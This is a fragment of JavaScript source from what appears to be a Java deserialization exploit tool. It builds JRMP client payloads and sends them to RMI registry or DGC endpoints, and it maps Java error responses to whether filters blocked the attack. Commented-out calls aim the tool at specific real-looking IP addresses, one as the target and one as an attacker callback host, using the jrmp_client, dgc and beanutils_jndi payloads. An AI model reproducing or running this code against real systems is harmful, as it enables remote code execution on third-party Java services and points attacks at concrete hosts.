document.getElementById('output_format').textContent = payl_enc; |
|
|
|
if (codec.printable) { |
|
document.getElementById('output_text').style.display = 'block'; |
|
document.getElementById('output_text').textContent = encoded; |
|
} else { |
|
document.getElementById('output_text').style.display = 'none'; |
|
} |
|
|
|
out.blob = codec.blob(encoded); |
|
out.filename = payl_type + "." + payl_enc; |
|
} |
|
|
|
// https://stackoverflow.com/a/30832210 |
|
function download() { |
|
var out = document.getElementById('output'); |
|
var file = out.blob; |
|
var filename = out.filename; |
|
if (window.navigator.msSaveOrOpenBlob) { // IE10+ |
|
window.navigator.msSaveOrOpenBlob(file, filename); |
|
} else { // Others |
|
var a = document.createElement("a"), url = URL |
|
.createObjectURL(file); |
|
a.href = url; |
|
a.download = filename; |
|
document.body.appendChild(a); |
|
a.click(); |
|
setTimeout(function() { |
|
document.body.removeChild(a); |
|
window.URL.revokeObjectURL(url); |
|
}, 0); |
|
} |
|
} |
|
|
|
function go() { |
|
var output = get_radio("output"); |
|
|
|
if (output == "rmi") { |
|
go_jmx(); |
|
} else { |
|
go_generate(); |
|
} |
|
} |
|
|
|
function cancel() { |
|
var cur = window.current_req; |
|
if (cur) { |
|
cur.abort(); |
|
} |
|
} |
|
|
|
// payl_type = beanutils_jndi jrmp_client |
|
// rpc_target = registry |
|
function go_jmx_cli(host,port,rpc_target,payl_type,revhost,revport) { |
|
|
|
// if (argv.debug === true) { |
|
console.log("Payload is: " + payl_type + "\t" |
|
+ rpc_target + "\t" + revhost + ":" + revport); |
|
// } |
|
args = [ make_jrmp_client_payl(revhost, revport) ]; |
|
|
|
var payl; |
|
if (rpc_target == "registry") { |
|
payl = encode_registry_lookup(args); |
|
} else if (rpc_target == "dgc") { |
|
payl = encode_dgc_dirty(args); |
|
} else { |
|
throw "Invalid target"; |
|
} |
|
|
|
return send(host, port, payl); |
|
|
|
} |
|
|
|
|
|
var arraylist = { |
|
NoSuchObjectException: "Object not found", |
|
ClassCastException: "function not executed, mostly serialFilter", |
|
AccessControllertAccessController: "java security filter is active", |
|
lldawdwad: "test", |
|
}; |
|
|
|
function parseJavaError(str) { |
|
var argv = process.argv; |
|
var textarr = str.split(/\n/); |
|
// var returnval = "ERROR:\t"; |
|
// console.log(util.inspect(textarr.length)); |
|
for (key in arraylist) { |
|
if(textarr.indexOf(key)) { |
|
return getHostFromHoststr(lastreq) + ":" + getPortFromHoststr(lastreq) + " rmi/jmxrmi\t" + arraylist[key] |
|
} |
|
} |
|
return getHostFromHoststr(lastreq) + ":" + getPortFromHoststr(lastreq) + "\t" + arraylist[key] |
|
// return returnval; |
|
} |
|
|
|
|
|
|
|
|
|
|
|
function getPortFromHoststr(str) { |
|
var array = str.split(":"); |
|
if(array.length == 2) { |
|
return array[1]; |
|
} |
|
} |
|
function getHostFromHoststr(str) { |
|
var arr = str.split(":"); |
|
return arr[0]; |
|
} |
|
|
|
|
|
oReq.onreadystatechange = function() { |
|
|
|
if (this.readyState === 4) { |
|
// if (this.responseText.indexOf("is")) { |
|
// if (argv.debug != 0) { console.log(lastreq + "\t" + this.responseText); } |
|
// } |
|
var text = this.responseText; |
|
var ret = parseJavaError(text); |
|
// if (this.responseText.length > 10) { |
|
// console.log("Complete.\nBody length: " + this.responseText.length); |
|
if ( argv.debug === true ) { |
|
console.log(ret + "\n" + lastreq + "\t" ); |
|
}else { |
|
console.log(lastreq + ' ' + this.responseText.substring(12, 64)); |
|
} |
|
// } |
|
// process.stdout.write("out: " + this.responseText ); |
|
} |
|
}; |
|
|
|
|
|
// console && console.log && console.log("start" + util.inspect(argv)); |
|
// lastreq = "registry"; |
|
// returnval = go_jmx_cli("195.137.225.97",1100,"registry","jrmp_client","178.162.204.214","28757"); |
|
// // await returnval(); |
|
// // (async () => { |
|
// // await returnval ; |
|
// // })(); |
|
// // while(returnval.readyState != 4 ) { |
|
// // process.stdout.write("hello: " + util.inspect(returnval)); |
|
// // // sle |
|
// // } |
|
// go_jmx_cli("195.137.225.97",1100,"registry","jrmp_client","178.162.204.214","28757"); |
|
// go_jmx_cli("195.137.225.97",1100,"registry","dgc","178.162.204.214","28757"); |
|
// go_jmx_cli("195.137.225.97",1100,"registry","beanutils_jndi","178.162.204.214","28757"); |
|
|
|
|
|
// while(10); |